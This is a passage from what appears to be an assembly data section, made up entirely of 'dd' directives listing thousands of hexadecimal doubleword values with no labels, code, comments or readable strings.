0D95E499Ch, 8992540Ch, 1082EBACh dd 0E67791C3h, 2CC10442h, 9EA0011Dh, 180DEF03h, 992B0880h dd 0BE04C440h, 421896A9h, 108A1A80h, 0F7026D0h, 88C96BA5h dd 89ED2C00h, 0E11033B0h, 0EC40983Dh, 0F8086257h, 0C48458D9h dd 0C118A8DEh, 0AA902AC2h, 87C44Ch, 0BDFBABFCh, 9F1E2238h dd 1A69F800h, 0B6E1DE68h, 0EED80417h, 0D018A728h, 0BEF40E48h dd 8D4AAF01h, 80FE785Eh, 265AE0h, 0A507B7F1h, 0BDA6E61h dd 0CAF4C909h, 0BCC4D9h, 0A997D586h, 8D652B3h, 248DE0Fh dd 800936B1h, 4CB8E027h, 25989E65h, 2E6C30C9h, 4A746401h dd 0C0E26472h, 80C4A430h, 63A4C21h, 24460259h, 60918245h dd 0A8F8D486h, 4606BDCh, 0A7250F3Dh, 61AC9085h, 919762BCh dd 0F448ADB0h, 0DBB70689h, 211528E2h, 0DADDA804h, 0ACBCC849h dd 10E8A0D2h, 61CEC916h, 48EC6C88h, 0FD006443h, 0CAC36328h dd 21C20823h, 4056341Eh, 0BE27308h, 8FE11FB2h, 1317B478h dd 0D2003A2Dh, 31E84DA3h, 5AE8AEh, 0FD3DE323h, 0B938B478h dd 64BB49Eh, 0B611DE52h, 0D0590A48h, 31E79310h, 358F0C28h dd 107C2894h, 0BC00165Fh, 4E06D18Eh, 6E744162h, 0D2C4B805h dd 688060A5h, 13B532F0h, 1E5FFD82h, 7890A524h, 714F2AC1h dd 823C7C1Ah, 60B2FA28h, 8001E744h, 0F8B6AB71h, 808DDB8Bh dd 0A22AC688h, 0E0109DC2h, 825E2D4h, 2C74640Fh, 3E5EEE77h dd 16B85E77h, 7198C740h, 74CCA5B1h, 9434E28Ch, 1007389Fh dd 25C957C9h, 0C8017E3Ch, 51C3A74Eh, 0A00C173Bh, 60D47398h dd 4BF16CCh, 4C07AC30h, 7A0C401Fh, 0EB1C40D2h, 139D2B49h dd 0B89A3A8h, 0FB87E0C8h, 9B81DC30h, 8048C8BAh, 0E3CF0FC4h dd 58040022h, 82EE49h, 0AFB35EE2h, 0A7324159h, 2E07452Fh dd 0B87FD34h, 2F00D36Fh, 6DF2C9h, 50AC4489h, 74D47891h dd 0C0245724h, 0B40B581Dh, 61CC0ECh, 30962CBFh, 7151E04h dd 24F5941h, 0C0700AA7h, 96640E3Bh, 0A841DA01h, 2738C972h dd 4C122463h, 0C6544A35h, 882845D4h, 0CEFBB6BCh, 2C94347Ah dd 0B4E17826h, 0E10848A9h, 1E92A20h, 30A4A21h, 8240634Ch dd 0E255AE60h, 13CC6474h, 0B4C58959h, 0CBD613Ch, 9C10A92Ch dd 0B5FF8860h, 1BB1B403h, 2A682D42h, 41215469h, 2D2D89D0h dd 9B11C4C4h, 316A521Dh, 0C2C788h, 4784759h, 0B47EF2CAh dd 9F98A0EEh, 22ECE407h, 0A287C35Bh, 8009C85h, 6E9B2E1h dd 90785CBBh, 0D0E8B716h, 85044FECh, 0E2DC2E05h, 94B23BB5h dd 0DB138C4Dh, 1530A05Ch, 0E4C48641h, 0E9A10CBFh, 16830E6h dd 0E0C91F16h, 2F2D801Dh, 0E23680FCh, 122B42BBh, 5EDA21B4h dd 3C44A738h, 0B72EB118h, 13EB4F18h, 14B35349h, 3D10C8A4h dd 28C104E3h, 0D8F3A45Ch, 4CEDB40Ch, 774ADE38h, 5E762C82h dd 4FF90870h, 0ED2441Dh, 0FCB50837h, 75E0E8CDh, 2811D8B1h dd 795CE9A7h, 0E0D7CB08h, 942D33Ch, 68BAB445h, 80A960E1h dd 715BD561h, 48DCE2B2h, 0D898E83Bh, 0B664744Ch, 40E2DEC8h dd 2CE1D92Dh, 179C670Fh, 0B4371908h, 0CF171C4h, 98889DF9h dd 0E325100Fh, 4BD8C29Ch, 5676C204h, 1CECCAA8h, 71CD834Eh dd 18BEF5A7h, 0E3133D00h, 0F68252Eh, 0B92300DEh, 446B1F75h dd 9009673Bh, 0F96F82CAh, 2C1C00B4h, 29D4F931h, 0D0014A4Fh dd 0F78EE2D1h, 0B1B96882h, 98E904D2h, 6EB04090h, 17244C35h dd 8F800089h, 16A07C07h, 0D2062EE1h, 0A91F8A60h, 28822F8Ch dd 0C0587C4Ch, 2C89313Ch, 2A631461h, 82100012h, 0A7A91C9Ah dd 0F24949F6h, 0E8F52488h, 0B7B04Ch, 170A3EF4h, 498BB8FAh dd 2813BD34h, 9BD974A4h dd 2BE41100h, 0F02CF862h, 91240449h, 49C300ECh, 502626F4h dd 203BFCDCh, 4F223A03h, 118E189h, 1E3E9C20h, 0C112FC4Dh dd 48A0C554h, 48EF61BEh, 0C5A94240h, 12C46212h, 3CB0FE4Ch dd 0D1FC04DFh, 8319EDBFh, 500B77D7h, 464A09BEh, 33B41490h dd 0CC3FA0EEh, 27B9193Ah, 4479FB80h, 75A24C71h, 3CF9F9C2h dd 5881776Ah, 3028E307h, 0E1F496B0h, 0C4E92625h, 62BDF078h dd 1E97109Dh, 2831AC5Ah, 0E29E088Bh, 5268CAD6h, 5E6898C0h dd 0D7FCF074h, 4CCAE21Bh, 0A7BFF020h, 100D593Fh, 2DFD5500h dd 0AA91B0A1h, 0CB1FE219h, 48806669h, 61D1BC56h, 0B4A81738h dd 0F09B69BDh, 18686508h, 1550117Ch, 50ABB480h, 5A6784E2h dd 9B88AEEh, 59C47631h, 82C81664h, 6F01AF78h, 6AC80D54h dd 0DEB78019h, 275AD913h, 0BA93888h, 6C11CAD5h, 394C8498h dd 0C70ECCBEh, 7D06009Fh, 5EBDE6Dh, 75E252BEh, 6858B1A7h dd 14F39330h, 0B07D1B14h, 0C9A149Fh, 6B4E702h, 0F0406D2Bh dd 18CB63D2h, 91C0F76h, 0E2F0A83Ch, 3E00D326h, 0CB0557E4h dd 0A7DE0B23h, 0CC68B77Fh, 8C007E40h, 0EDC5E1D7h, 241FD606h dd 160EBA99h, 1688B744h, 64605A91h, 90DB2F49h, 1FC10048h dd 6AE8B88Fh, 0CE0E7BDCh, 16498767h, 0F7A42CC7h, 154B83C0h dd 0B5210059h, 0A9D8DED4h, 80175BBFh, 18163E63h, 0C5AC2A07h dd 68D58FC0h, 128498ADh, 2403C42Ah, 46ACEDC0h, 41AC13C0h dd 702B9022h, 6DC420E8h, 0DCB50615h, 0B1B781ACh, 30825F0Ah dd 0C62AE2D2h, 982E3449h, 0A9406524h, 809CBC69h, 22D6F1DFh dd 5814064Ah, 26A43527h, 7826EC50h, 827D493h, 0E01C0BE9h dd 0BC1692DCh, 28598A50h, 0C8449058h, 0A3DE0B75h, 0EB25B050h dd 0A90800B1h, 16735C6h, 6477D480h, 88DA66D5h, 41342E18h dd 6804B1B2h, 0DF280038h, 1AA7510Ch, 7360CB72h, 0E083BC6Ch dd 38E7E980h, 404CA916h, 59C0041Dh, 9B82E850h, 51292727h dd 37A72481h, 0E7488064h, 4EBFAC31h, 6AC928DEh, 67677E4h dd 0A5B194A8h, 712560E0h, 5620A2D4h, 0DF88C84Ch, 37E70D9h dd 0A10632C7h, 44A05377h, 0B118039Eh, 5616F843h, 10163CF3h dd 0A9BEE33Dh, 0C0254C1Fh, 0F732AF6Bh, 0B93EC767h, 8D007889h dd 69DBCB87h, 0B3F3C6Eh, 7AD37CCFh, 8590BC01h, 4E67C8BFh dd 0E6A13E09h, 0FC40103h, 188F4F2Eh, 38871650h, 0C710CC80h dd 43C93100h, 7B1069C3h, 0A2D918E3h, 0E13EB032h, 0EF81DE00h dd 66B12092h, 0BE98038Ah, 2930E8E0h, 65F36380h, 0F20FD403h dd 0E136FC2Ch, 0B100AA8Ch, 48C66369h, 58E0F085h, 3607B07Ch dd 81C3EADBh, 986CDF6Eh, 6105020h, 38E30063h, 0B1E9F78Ch dd 84004381h, 307D135Fh, 3D9A64B9h, 0E05053Ah, 0C3867F62h dd 15D065DFh, 0AC0080CBh, 0E4EE0CE8h, 68B1C4B9h, 3E90306Ah dd 9BF03403h, 72E0D11Bh, 943EB844h, 680200BEh, 0D9D28CC7h dd 0B0C6676Eh, 98C366D3h, 0C2C8671Fh, 10BE680Ch, 9C0352E8h dd 3DCF5A0Ch, 5B0D0E30h, 18878FE3h, 149D86E0h, 0F091039Ah dd 90A1260Eh, 0B17CCE67h, 8081F648h, 47A6AD29h, 7801ABDBh dd 0EE5D3B9Fh, 0A3081680h, 3CCB5AC3h, 0E36B61C0h, 0C915181h dd 9B84D920h, 0E83BDED8h, 2783000Dh, 0CA77B1AAh, 19FCF6EAh dd 0A84DD290h, 9A30203Ah, 0CE37388h, 466341B3h, 0B87A0F88h dd 1E630C92h, 1D9E7FA8h, 40F77A10h, 4063B607h, 46009775h dd 6B1A48C8h, 0A82B274h, 0BBF46E7Fh, 8EDF008Ch, 0F8758415h dd 90DDF106h, 148A82Ch, 0E8E36DA1h, 0CCFCD301h, 820CD808h dd 207E0D90h, 63AD2830h, 18B348D4h, 65C5024h, 9924060Fh dd 580E49h, 0E1AB8CFAh, 0A3C444D9h, 0F890A88Ch, 0D429C19Bh dd 25F77FEDh, 40A40238h, 0E83F4044h, 0F9C00305h, 0C25F31F2h dd 6B08812Dh, 0F848A506h, 0D0E05430h, 39D13C68h, 10D0781Ah dd 8E37B883h, 0DE7283Eh, 61F0EDCFh, 16CBD0h, 0BA9637E3h dd 0BB3BEF74h, 0F843992Bh, 80030F12h, 76030D34h, 313F0008h dd 33EFD5E8h, 0C490F1BCh, 6560D974h, 0EB5A3530h, 87450EECh dd 0D198D0CFh, 47003F43h, 77379BD8h, 0BF737Eh, 689BCEBh dd 46B1FA39h, 0DDF8F701h, 0D56C374Fh, 19CA0031h, 0B821E8h dd 7931DD4Ch, 98B26B1Ch, 6263F180h, 342F848h, 0ED6F0D4Eh dd 0E9008C92h, 283F16D3h, 6DD5620h, 0AFD91158h, 30A9487Bh dd 8C4004B1h, 83625A8h, 48C87CA5h, 7098C847h, 0F506C346h dd 5435D942h, 33C0030h, 509CCFA5h, 86306F39h, 5E188B1h dd 612F603Ah, 30870E62h, 0C0DF19F4h, 0F37D9482h, 9F1541F8h dd 38205BE5h, 34F900D5h, 0F76FB197h, 0FC4869C6h, 0C9390104h dd 7719EDEAh, 0D9080504h, 0DE884347h, 0A7E2303Ah, 4442646Ah dd 629E1090h, 1D2CD360h, 0EC9110CBh, 0C1066AAAh, 93296138h dd 0D9EBE8C2h, 1808FE33h, 667AF0E0h, 0E6603EDDh, 5C64510h dd 0F14840D1h, 9006C821h, 0DA264823h, 78028F7Ch, 9013EC84h dd 0F2D68AD0h, 6C13F1E2h, 0E51D4864h, 6EEBB241h, 4083CAB8h dd 0AC57303Fh, 69125800h, 8DF64740h, 0FD2B06E7h, 0B19F216Eh dd 0A4020BE6h, 0B5D9C938h, 0EDD48595h, 0FC496F84h, 0CDD882E3h dd 2CA009BBh, 82308986h, 8F600460h, 78A544ADh, 32AA1A1Dh dd 144008E1h, 0FCAA8A06h, 86F78040h, 65A2E08Bh, 0F3870018h dd 90DCC950h, 0E0C09780h, 66158D94h, 864F3BA0h, 0B1BB9C09h dd 1A6EA838h, 282349h, 7B9E82AFh, 670B1h, 2913A6A9h, 288B3040h dd 121530C0h, 6FF77Eh, 0F1F31E8Ah, 0C11B9084h, 797F98C0h dd 0E42FEFh, 0B16C55C7h, 0C462D661h, 6AB4D58h, 0AA6D9BEh dd 58E32478h, 56343AA0h, 8080308h, 0EF1C58Bh, 0D7148063h dd 0A1463A01h, 0F46CE465h, 3531CFEAh, 2C0FB749h, 297A3CFh dd 934BD997h, 9022948Eh, 0D84844D5h, 2DF0DEFFh, 42106560h dd 53BA12Eh, 5D6EDAE8h, 58C8008Ah, 0A844013Fh, 0FF9224Ch dd 0C120C792h, 10CAE85Ch, 7BD95060h, 489C88B1h, 87B5DD39h dd 0FDC55B6h, 0C5710726h, 88C5DE60h, 5C90ED80h, 0AE5DF898h dd 3C6B1E44h, 23A51509h, 0E4634490h, 3602E600h, 0D260806Eh dd 0B1189210h, 0FFA20B4Eh, 1C82B009h, 684079DBh, 0FB6929D9h dd 36882238h, 7D882DDh, 0C0BB05B9h, 0FCD99478h, 7C281560h dd 0B26FE353h, 3B48B090h, 9C2CBE5Ch, 9581038h, 806FF19Dh dd 0BAEF460h, 0F04E4C4Ch, 474F5300h, 6EE150D4h, 7C921B7Eh dd 0DB16EB01h, 10796708h, 0CC08DC45h, 0FB3B1F62h, 29A53189h dd 88FE4480h, 600EF39h, 0A115BCA4h, 0F0C5C842h, 9908A08Ch dd 58D55868h, 0C6965300h, 0FB76B1D7h, 9E83C000h, 3B690FF0h dd 17AC024Dh, 2C8C90FAh, 6E02D4C8h, 68267224h, 0B8985818h dd 0BBE30B4Bh, 770143A1h, 25FC5EEDh, 0D12082C8h, 6690913Ch dd 0F98C061Ch, 992DF447h, 408A451h, 0EDACC183h, 0A0300016h dd 5838C091h, 0D977D2D8h, 4833BA34h, 49909CCCh, 4204043Ah dd 0C2EEA136h, 94808D04h, 25DA6EAEh, 21F0B0C4h, 1C44CF84h dd 40167A22h, 5E166408h, 301821D8h, 8378941Bh, 1FD71C7Dh dd 2F8D0D9h, 0B9A035D6h, 0DE58E850h, 2CD1EC38h, 80EC9B6Eh dd 5C5A9235h, 30F14826h, 0A0AB0418h, 5137D9C0h, 4601E41Fh dd 8307C616h, 475FD313h, 0D0607C34h, 75B85Bh, 0FD48B474h dd 6AFC5220h, 0B1AC061Dh, 307851C2h, 0B9F8C9C6h, 0B000E071h dd 1702B98h, 0C1894664h, 945053D9h, 8884B5B0h, 4E8895Eh dd 6AB31048h dd 0AC42632Eh, 7258388h, 838EF347h, 100D59CEh, 71DBCCAFh dd 7E1860h, 0F36AC09Bh, 86D83B68h, 0A8139572h, 6C0B3729h dd 0B3A003Dh, 0BFC8A97h, 0B6329E61h, 78397C03h, 0D5738690h dd 1319DF00h, 18EC5E2Ch, 92CD4C95h, 803F481Dh, 8050D08Ch dd 0AD3E0646h, 9E10051h, 9088DC08h, 98196056h, 8B6E7C71h dd 68BCD750h, 0ED6B2005h, 0F044FAADh, 9CC0DFAFh, 5C5BBA95h dd 40740491h, 0B601AA08h, 64F487C0h, 0A4603F94h, 73CA7CF0h dd 85143A34h, 0E242300Ch, 4E81B7F8h, 14284C71h, 6210BC59h dd 6CB10004h, 0E36BBFEEh, 5435E790h, 1A376070h, 28AB5430h dd 0A118C1h, 72DD0CA0h, 50E2613Eh, 41085FD9h, 72802D4h dd 0B8B4D3C4h, 4D10B25Ah, 0D909DC32h, 0C48988D1h, 0B9C3E803h dd 0B57A4388h, 35767103h, 34DD3D9h, 9AA0AE30h, 50A80E63h dd 6098E0EAh, 0F9C8E720h, 0A210A426h, 0DB470016h, 2629E77Fh dd 25B978ADh, 0FC0491F8h, 3AB81506h, 0E7DF80C7h, 76E712Eh dd 0DA18C0E0h, 334E140Eh, 8A4430EFh, 9DB8D302h, 0E83E3020h dd 0A433158h, 81DE483Fh, 9353136Ch, 0C4B9122Ch, 730C2C13h dd 0ED06A8B3h, 2CB1B5E6h, 88D8D0BCh, 0B89787F4h, 2CD9C003h dd 8E104812h, 0BA2EAF09h, 54036029h, 43D58530h, 0A8126BDCh dd 6490F0D0h, 0F05016F1h, 869492B7h, 0D9A92040h, 16FBF01Eh dd 9AF7940Bh, 0D0105840h, 2058F839h, 46069842h, 38E281F7h dd 990D90Ch, 81F1197Eh, 2BE601CBh, 41145060h, 87884443h dd 0D51D0840h, 0BE34F87Fh, 0C0071056h, 0A1BF312Ch, 7147B2EAh dd 0A7F0E5E5h, 3E337C24h, 6B1FAFD1h, 66E08F68h, 0E31B31E0h dd 19203038h, 91B17EA9h, 50350404h, 1138B3D4h, 5078DC48h dd 0E26EB004h, 204A60ECh, 0BCD9094Fh, 0E406A1CAh, 0AC96502h dd 8B5C61D0h, 9CA02444h, 80392090h, 8DDD071Eh, 0A1BC0E0Bh dd 55DFD9A8h, 6B104889h, 0F3F804C8h, 0E28A6E19h, 16EC9A48h dd 4A3D1881h, 60DF5036h, 0C96C9380h, 0B064B528h, 98860E00h dd 2D5AD289h, 0F0DCE84Fh, 1A6F010Fh, 4A6ED9F0h, 0C030A44Eh dd 0B2BE0039h, 5FF88BA3h, 86CE02BCh, 20D99C8Eh, 3DDD2848h dd 89619F3Ah, 6AB302Ah, 2EA93A40h, 884FAE8h, 8400933Bh dd 0B87A72B1h, 58DB02B0h, 0FF80D92Dh, 409570E9h, 0AB1949ACh dd 535110E4h, 68F80278h, 48C9F0A9h, 89214DAh, 6804E858h dd 508F306Eh, 1303EC0h, 2C74C049h, 6E865074h, 18E1513Ch dd 20EB6030h, 41023F64h, 92ACD9C9h, 70046015h, 0B9B30F82h dd 7D841D68h, 0B830C3A0h, 306E6839h, 901980B6h, 0F8EF63D1h dd 0E7F8FD47h, 0D0DD004h, 5A12A08Bh, 27BEF7F0h, 30143CEFh dd 0A18FB509h, 300C3069h, 0F464F7B3h, 480100DBh, 0A11816C8h dd 4D4A6E6Ah, 8A64A000h, 43BF3Fh, 24EBBEECh, 8FA2D9F1h dd 7087A8D3h, 4857883h, 988E0510h, 1E988058h, 0B6CF70B2h dd 71A687F3h, 6E7DDC0h, 0D628C3A0h, 39490AD9h, 97900044h dd 40218076h, 84770B3Dh, 5681E8A7h, 60EA45E4h, 0FF048C7Ch dd 19928EEEh, 9F5324C0h, 20A75CB0h, 0FC6B510h, 6BB48B2h dd 5C109C86h, 9E0541CFh, 969EBD9h, 0BC842988h, 24609A3h dd 519A6368h, 10359258h, 0D684A060h, 3101C690h, 0EC96A090h dd 66880E09h, 0A80803D0h, 2ED5D9C3h, 90DB1006h, 38B88Bh dd 27F6CD80h, 0FE25D9E1h, 68DC20C5h, 8746FCC0h, 5D3D00C3h dd 82580B14h, 2B01CC1Fh, 0D904F0CBh, 30A613A0h, 0D707C004h dd 2216A782h, 7804D63Ah, 0B202F5DFh, 28C1C878h, 9146086h dd 0AD716E10h, 91C3EE16h, 0E1D16724h, 583067FBh, 0A4214A20h dd 1880BAF5h, 0BD6208E8h, 0D916D38Ch, 348682F9h, 886E2651h dd 0D80BCD0h, 485D612Dh, 730415DBh, 0A36E5152h, 846648B1h dd 3CB72Ch, 7F6DF19Bh, 0B626FAF8h, 8303CBFh, 0B9D2C7AFh dd 26328580h, 6E8891A1h, 0C051A8DFh, 5851E864h, 0F6A184D0h dd 5465EF90h, 0E6B4E2DAh, 24A4909Ch, 701C0Ah, 0C75A7D35h dd 3100C3D6h, 0DAC83D55h, 9E8E406Eh, 52324D6Ch, 0A0D80188h dd 0EC70902Ah, 6302E494h, 0C89B8130h, 7E3C6DB4h, 0DC6E189Eh dd 0AF3848A8h, 62A27F07h, 902169D5h, 0A080C8AAh, 7464B1A0h dd 0A87177E9h, 8A522A62h, 0CF4841C3h, 1FA487D0h, 16F3D48h dd 0EFD9C485h, 0A9C040B9h, 0BF1CEB20h, 106DBE6Eh, 3EA80E38h dd 6F78FC50h, 7AC01844h, 0C299DC93h, 2C4CB100h, 90D248E1h dd 0C86B64E6h, 1743C596h, 485422B8h, 982C6009h, 1DE7E66h dd 0AEBDE67Eh, 0E870F1B6h, 5001B186h, 0A597E407h, 51845590h dd 0C2598D30h, 284635D4h, 99F13E20h, 5E9788C8h, 0CEC44800h dd 2471FF5Ch, 2DB8D46h, 0BBFCF36Fh, 0EA141C48h, 313CFAFAh dd 82C2852h, 0DED86C03h, 0E89047A9h, 0FB8C95h, 0CF06837Eh dd 6E352DA8h, 78A1FF30h, 74586C01h, 0D9970CD3h, 0D29857B5h dd 62C9248h, 4EE190DAh, 0C30E790h, 356C2C0Fh, 3240BCA4h dd 0D811A861h, 0BC2CF96Eh, 0D6019916h, 0D7062854h, 7FA9D9C6h dd 2DB20860h, 0E20894C8h, 1AF612B7h, 30828C68h, 9471AC75h dd 0AC1E0413h, 0C89F2EFCh, 882074A8h, 0ED650BA9h, 0C8A2D607h dd 9B04D54Bh, 0F8CC4C2h, 0E6DB1205h, 619C54B4h, 7F508B40h dd 0D40C500Eh, 16040D9h, 0F625B490h, 0B6E8A42Eh, 0BE5DD903h dd 1AC5858h, 44981FAh, 14221830h, 42656D0Ah, 0D5D8890h dd 1CD99D02h, 0A68C6826h, 6E630CC5h, 0D5A02952h, 4CD9A008h dd 0C2193E6Fh, 2150181Eh, 0DCE0E074h, 0F839A8C2h, 0D94CE8FDh dd 30E560D0h, 0B126F0D8h, 3025484Fh, 7B045C05h, 1E089C14h dd 550010AEh, 0F93D6294h, 0F19F0BE5h, 0B58C8DDCh, 0B95C57F8h dd 5E8A1C4h, 64068022h, 18F9186Eh, 3338FCEDh, 730150Dh dd 1C60F9DEh, 99A8E6AFh, 93D8A254h, 0E6504B4h, 0DC8E384h dd 589B736Eh, 0F0B2822h, 6CC458A8h, 3FF09018h, 7EDA7A10h dd 0C7FD0084h, 0BC32E854h, 0A448EB87h, 0CA2207E4h, 2AC0AA23h dd 48056309h, 0DC019CF7h, 68B25593h, 8E0A03Dh, 0F4483A00h dd 4FEA3179h, 7425F57Ch, 0DF04DC3Ch, 8D30D00Fh, 3C2EE478h dd 0C47F2C1Ch, 0B3B7D5Dh, 813F4731h, 0E70460A4h, 0D0A586FCh dd 534A0858h, 0B4BC1490h, 28E92610h, 0C899D00Eh, 0B49B8C22h dd 0A0AC8604h, 5E9490E0h, 6D7C05CFh, 0E88D10Ch, 0DB88D273h dd 0D561C0D4h, 2A0040DFh, 3BC40FD9h, 452C664h, 0C83F46B9h dd 0B62085FCh, 8C900C40h, 97F4070h, 0E85E9F08h, 0B01084C3h dd 56023414h, 9CBBAF85h, 0C4F09Ah, 3E3DF080h, 8709F878h dd 2B2DDC90h, 8AB4007Ch, 0F0090FA7h, 507AB8C8h, 0F59D08A2h dd 6E0D3029h, 0F890CC63h, 0BCAC2331h, 4C187701h, 0D3FE3010h dd 3C6E5424h, 9E2CF85Ah, 1A3F00C8h, 4FB98840h, 10D439E9h dd 0F0005ACFh, 0C8A806E1h, 580FD21Eh, 0C0961D9Dh, 0AFAE78A2h dd 0BC210BC4h, 0A8428102h, 5842F04Bh, 20344CACh, 0EEDA17A0h dd 1475CBh, 0A13FDD68h, 0C0206E69h, 84AC96CDh, 0B239580Fh dd 402D7840h, 90249033h, 5CC54CEAh, 0D7D53C78h, 10D8EB18h dd 6528B997h, 0C4503464h, 7B006248h, 0DC35E212h, 1D15C2E9h dd 0FAEDD8h, 31A7376Dh, 0CA7C5784h, 0E26AB700h, 4F42A0BAh dd 0C7EDE82Dh, 40A20730h, 0C6258C59h, 720D3109h, 629300E2h dd 7C90B82Fh, 0E8B00066h, 0F9A6C242h, 6A72DFB9h, 3505E70Ch dd 0D82084h, 0CE399B10h, 61F7DED4h, 754FF63Ah, 3757DC00h dd 9FA8B56Fh, 313E30D8h dd 0C28A0768h, 420CB871h, 49F7F1AEh, 205360DFh, 352AE528h dd 8F4D6D1Bh, 8B94D0C8h, 0F43A12B0h, 3470000Eh, 871A0843h dd 730145F6h, 5762FB0Dh, 0B1D8680Ch, 93D8189Ch, 0A9AD9889h dd 45769F00h, 63F0C481h, 8F900060h, 3DA50580h, 981E91B5h dd 9D8C7C30h, 1995D8BDh, 904DF6D8h, 838C470Fh, 1076294Bh dd 18BE0E1Eh, 0A4EF94h, 0CE1EA96Dh, 1DA0027Bh, 764323Eh dd 80279359h, 2F4280B8h, 995C8C0Eh, 1D308039h, 0F4A5175Dh dd 1BA0EC4Dh, 78AE468Fh, 0E7D005C5h, 19B02002h, 0C2003C74h dd 38B28057h, 513A8F1h, 316DF24Eh, 9012D9h, 37C4C633h dd 0B76E6ABFh, 429001B0h, 5B2125F5h, 8882CEC9h, 0BCDDD85Ah dd 8F008C8Ah, 9A83A8B6h, 78A0B0B8h, 0EC00A355h, 387330BEh dd 11BC647h, 0B599A910h, 8805399Eh, 4B671B0h, 800FFAEFh dd 6240B030h, 2D91C660h, 1269F249h, 104718F0h, 61000818h dd 75B9CF3Ch, 12018FD2h, 9E997BD5h, 944198BAh, 0F885178Eh dd 4620F57h, 0CFD93BCh, 6F9C110Dh, 0EDC9C0BEh, 0EFD17000h dd 6850B023h, 4EF28F40h, 1804A0D4h, 451867AAh, 60CE0085h dd 277D623Dh, 9E7B8FD9h, 0EE7428C0h, 282FB7ACh, 31D453C6h dd 0F59088BAh, 9010B567h, 824F9032h, 9820EF84h, 8169523Ch dd 91BC404Fh, 0DE3615D2h, 8ED008E1h, 0BC0E1A94h, 48F310Ah dd 5E676A05h, 72211F20h, 19003D11h, 9004D235h, 721520A8h dd 2F0047EAh, 0C18F456Ch, 0F27AF3CEh, 668020DDh, 9C5A0D28h dd 602F49h, 2B698C05h, 3FC764E1h, 854D2CBh, 0E7DA09C3h dd 402430C4h, 95D8986Bh, 99D36E00h, 527B15F2h, 6D6909E2h dd 38A4E873h, 9E7A0FDAh, 0C88E45C7h, 1EC74C07h, 84084706h dd 0E174A1A0h, 0B5033080h, 1D6DE331h, 0EF48BA63h, 830DE0EAh dd 5F80282Fh, 62F038C0h, 51F74780h, 0D9C0B7Eh, 0B026DC90h dd 0E60050C0h, 30DECAACh, 5910C2F8h, 80AC01A2h, 53018A90h dd 6D296A4Eh, 6892CE2Ch, 7100432h, 0EC28809Dh, 81D4CF21h dd 0A83C02ECh, 80921722h, 0BE8569F7h, 20F8AE9Dh, 0F700A399h dd 2763DAC2h, 1130825h, 87A9E9EFh, 50F1BDD2h, 4F35DF98h dd 0AD206DF2h, 3671DD3h, 50399AD8h, 0D2A59F60h, 9202BF7Ch dd 798F8C15h, 6A644875h, 250E18D3h, 5B2F1024h, 0B08C5850h dd 0DBC8410Bh, 3B7D0712h, 81F6985h, 92C48FFh, 83BE923Ah dd 0C1354500h, 8934962h, 14AC1436h, 2FDE6D82h, 184F6460h dd 3877B800h, 8F82D207h, 785B6028h, 9DA741C3h, 1A48048h dd 89BEADF2h, 98240E67h, 28F55047h, 0D7A10005h, 0C761C218h dd 7F306DF6h, 9130F893h, 111C20D8h, 27EFD51Eh, 1057B50Ch dd 0B29906D2h, 0A9388015h, 0D8303A12h, 0FD703600h, 0C6550B6Dh dd 8C24B48h, 29416635h, 4D32CC46h, 0A4E54C08h, 0A140A68h dd 0BE508897h, 902E4301h, 0E3FFEF18h, 0B00814F5h, 3B4E8210h dd 382F8AA4h, 0D839B869h, 2EDB1000h, 6C07348Bh, 813EC7F3h dd 0E0958078h, 0EAE8A8E1h, 6B9424F1h, 570EB89Ah, 878350ECh dd 31C96A0Dh, 1430EF28h, 46170132h, 0C38FDCD7h, 4EB881ABh dd 0E6686DCDh, 413E2886h, 8C9F125h, 8EC8236h, 7478C6B3h dd 0D89B4D69h, 2ECCAC7Bh, 69084A03h, 0A88F2C01h, 7CC430E4h dd 12A90101h, 375AD88Ch, 0E0207865h, 8FE009D4h, 42522A4h dd 9E58060h, 0ECB84234h, 0E812603h, 0C0C1F4A9h, 4DBCD81Eh dd 0E6705044h, 839CA0D0h, 0E80D835Dh, 0D0F1566Dh, 0B0AD97C0h dd 401348F8h, 200E126h, 618C8FD8h, 0DBCAB048h, 0FA1F673Dh dd 0AC585568h, 5C03CE96h, 5CDD72Fh, 650569E0h, 8F856C7h dd 212F564h, 0D89A8001h, 99B14612h, 0E2663E89h, 0C3888F01h dd 0DB468440h, 13EE0491h, 14811D8h, 5897A805h, 481744E8h dd 0CF0418D7h, 0C07006A0h, 8F3BD64Ch, 78AD083Eh, 0D908DF50h dd 0BA6536FEh, 0C40145A8h, 0F7D8046Fh, 0DE5802C3h, 0A8BA2967h dd 0EC12A04Eh, 0C31A970h, 0A982643Eh, 0B76B1167h, 0C184EC63h dd 710DF5CCh, 0E915E1ECh, 184C2057h, 0E5448F19h, 5CC16BD0h dd 0C0DC1BE0h, 0DEDA4710h, 500A4160h, 80FFDF6Dh, 4F31AC99h dd 5D6A820h, 616CF114h, 37B601EAh, 20804273h, 0A874D978h dd 0AC68A000h, 6FB19EA5h, 0F2EE1E8Bh, 0D82B0B04h, 0A69C9808h dd 0F6E1077Ch, 838BBFF7h, 0ADDA40A7h, 0A448EAA8h, 0C35C860Dh dd 0F5348E7Ch, 8FD40684h, 5918A129h, 9985A09Eh, 684488B1h dd 0C248EC18h, 0B25437C9h, 6DD70A9Ch, 859C85FFh, 0D30ED83Bh dd 38780F08h, 107E5330h, 465537h, 159040FAh, 2FD147B1h dd 88C01D71h, 4B3EE68Ah, 9505012Dh, 7A09E9A4h, 0B26DD0E7h dd 595C1F48h, 396485DCh, 0F082D825h, 0C2470017h, 7C01CBF2h dd 2FB885C5h, 2C306099h, 68C85D1Dh, 26EFD402h, 80A58034h dd 98781181h, 0B00F6D1Eh, 0BED83FD1h, 30242D41h, 184750B0h dd 0A80AA30h, 0A0A824F4h, 306E0E20h, 95B1E5DCh, 9048BAA0h dd 924610A4h, 13989078h, 0A0F6593h, 0ABCB218h, 34CF447h dd 3B368FD3h, 7C78D828h, 2845B007h, 6723F5BEh, 816DC237h dd 0F0473808h, 901A3863h, 60C0C9F8h, 0C44CA705h, 393D88E8h dd 59958960h, 39DC7749h, 144C9D50h, 248FED8Bh, 98209689h dd 98BAE862h, 3301B891h, 4A6DD44Fh, 5C2072D3h, 0B8807079h dd 0CAE397Ch, 0D8109A61h, 502087B7h, 1CA25805h, 14C52F82h dd 0C33C5723h, 5541706Dh, 59E4DC49h, 0E530C2B2h, 0B46B352Bh dd 80F4D0DCh, 2F00E6A0h, 0AEA404B5h, 3C374E19h, 0AF00F877h dd 984DCF35h, 8730D807h, 0B773682Eh, 0BD75202Fh, 9105B09Ah dd 1E763B8h, 43B2B820h, 414C62h, 0CE943A05h, 6B80C1F0h dd 0F464F20Bh, 40C2B8FCh, 